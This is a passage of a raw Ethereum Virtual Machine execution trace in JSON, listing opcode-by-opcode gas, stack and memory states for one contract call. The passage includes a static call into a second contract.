,"0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14269,"op":"ADD","gas":123687,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x80","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14270,"op":"CALLDATALOAD","gas":123684,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x84"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14271,"op":"SWAP1","gas":123681,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14272,"op":"POP","gas":123678,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14273,"op":"SWAP3","gas":123676,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14274,"op":"SWAP6","gas":123673,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0x4","0x4563918244f40000","0x0","0x1cb1242d7e8","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14275,"op":"POP","gas":123670,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0xc4","0x4563918244f40000","0x0","0x1cb1242d7e8","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14276,"op":"SWAP3","gas":123668,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0xc4","0x4563918244f40000","0x0","0x1cb1242d7e8","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14277,"op":"SWAP6","gas":123665,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x104","0xc4","0x4563918244f40000","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14278,"op":"POP","gas":123662,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x0","0xc4","0x4563918244f40000","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x2","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14279,"op":"SWAP3","gas":123660,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x0","0xc4","0x4563918244f40000","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14280,"op":"SWAP6","gas":123657,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x1f4","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":14281,"op":"JUMP","gas":123654,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x1f4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":500,"op":"JUMPDEST","gas":123646,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":501,"op":"PUSH2","gas":123645,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":504,"op":"JUMP","gas":123642,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x84e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2126,"op":"JUMPDEST","gas":123634,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2127,"op":"PUSH1","gas":123633,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2129,"op":"DUP2","gas":123630,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2130,"op":"DUP1","gas":123627,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2131,"op":"ISZERO","gas":123624,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2132,"op":"PUSH2","gas":123621,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2135,"op":"JUMPI","gas":123618,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x0","0x936"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2136,"op":"PUSH32","gas":123608,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2169,"op":"PUSH1","gas":123605,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2171,"op":"PUSH1","gas":123602,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2173,"op":"PUSH1","gas":123599,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2175,"op":"SHL","gas":123596,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2176,"op":"SUB","gas":123593,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2177,"op":"AND","gas":123590,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2178,"op":"PUSH4","gas":123587,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2183,"op":"PUSH1","gas":123584,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2185,"op":"MLOAD","gas":123581,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2186,"op":"DUP2","gas":123578,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2187,"op":"PUSH4","gas":123575,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x80","0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2192,"op":"AND","gas":123572,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x80","0xbe1bd331","0xffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2193,"op":"PUSH1","gas":123569,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x80","0xbe1bd331"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2195,"op":"SHL","gas":123566,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x80","0xbe1bd331","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2196,"op":"DUP2","gas":123563,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x80","0xbe1bd33100000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2197,"op":"MSTORE","gas":123560,"gasCost":9,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x80","0xbe1bd33100000000000000000000000000000000000000000000000000000000","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2198,"op":"PUSH1","gas":123551,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":2200,"op":"ADD","gas":123548,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x80","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":2201,"op":"PUSH1","gas":123545,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":2203,"op":"PUSH1","gas":123542,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":2205,"op":"MLOAD","gas":123539,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":2206,"op":"DUP1","gas":123536,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x20","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":2207,"op":"DUP4","gas":123533,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x20","0x80","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":2208,"op":"SUB","gas":123530,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x20","0x80","0x80","0x84"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":2209,"op":"DUP2","gas":123527,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x20","0x80","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":2210,"op":"DUP7","gas":123524,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x20","0x80","0x4","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":2211,"op":"GAS","gas":123521,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x20","0x80","0x4","0x80","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":2212,"op":"STATICCALL","gas":123519,"gasCost":121630,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xbe1bd331","0x84","0x20","0x80","0x4","0x80","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1e27f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","be1bd33100000000000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":119030,"gasCost":3,"depth":2,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":119027,"gasCost":3,"depth":2,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":119024,"gasCost":12,"depth":2,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"CALLVALUE","gas":119012,"gasCost":2,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6,"op":"DUP1","gas":119010,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"ISZERO","gas":119007,"gasCost":3,"depth":2,"stack":["0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"PUSH2","gas":119004,"gasCost":3,"depth":2,"stack":["0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11,"op":"JUMPI","gas":119001,"gasCost":10,"depth":2,"stack":["0x0","0x1","0x10"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"JUMPDEST","gas":118991,"gasCost":1,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":17,"op":"POP","gas":118990,"gasCost":2,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"PUSH1","gas":118988,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"CALLDATASIZE","gas":118985,"gasCost":2,"depth":2,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":21,"op":"LT","gas":118983,"gasCost":3,"depth":2,"stack":["0x4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":22,"op":"PUSH2","gas":118980,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"JUMPI","gas":118977,"gasCost":10,"depth":2,"stack":["0x0","0xbe"],"memory":["000000000000000000000000000000000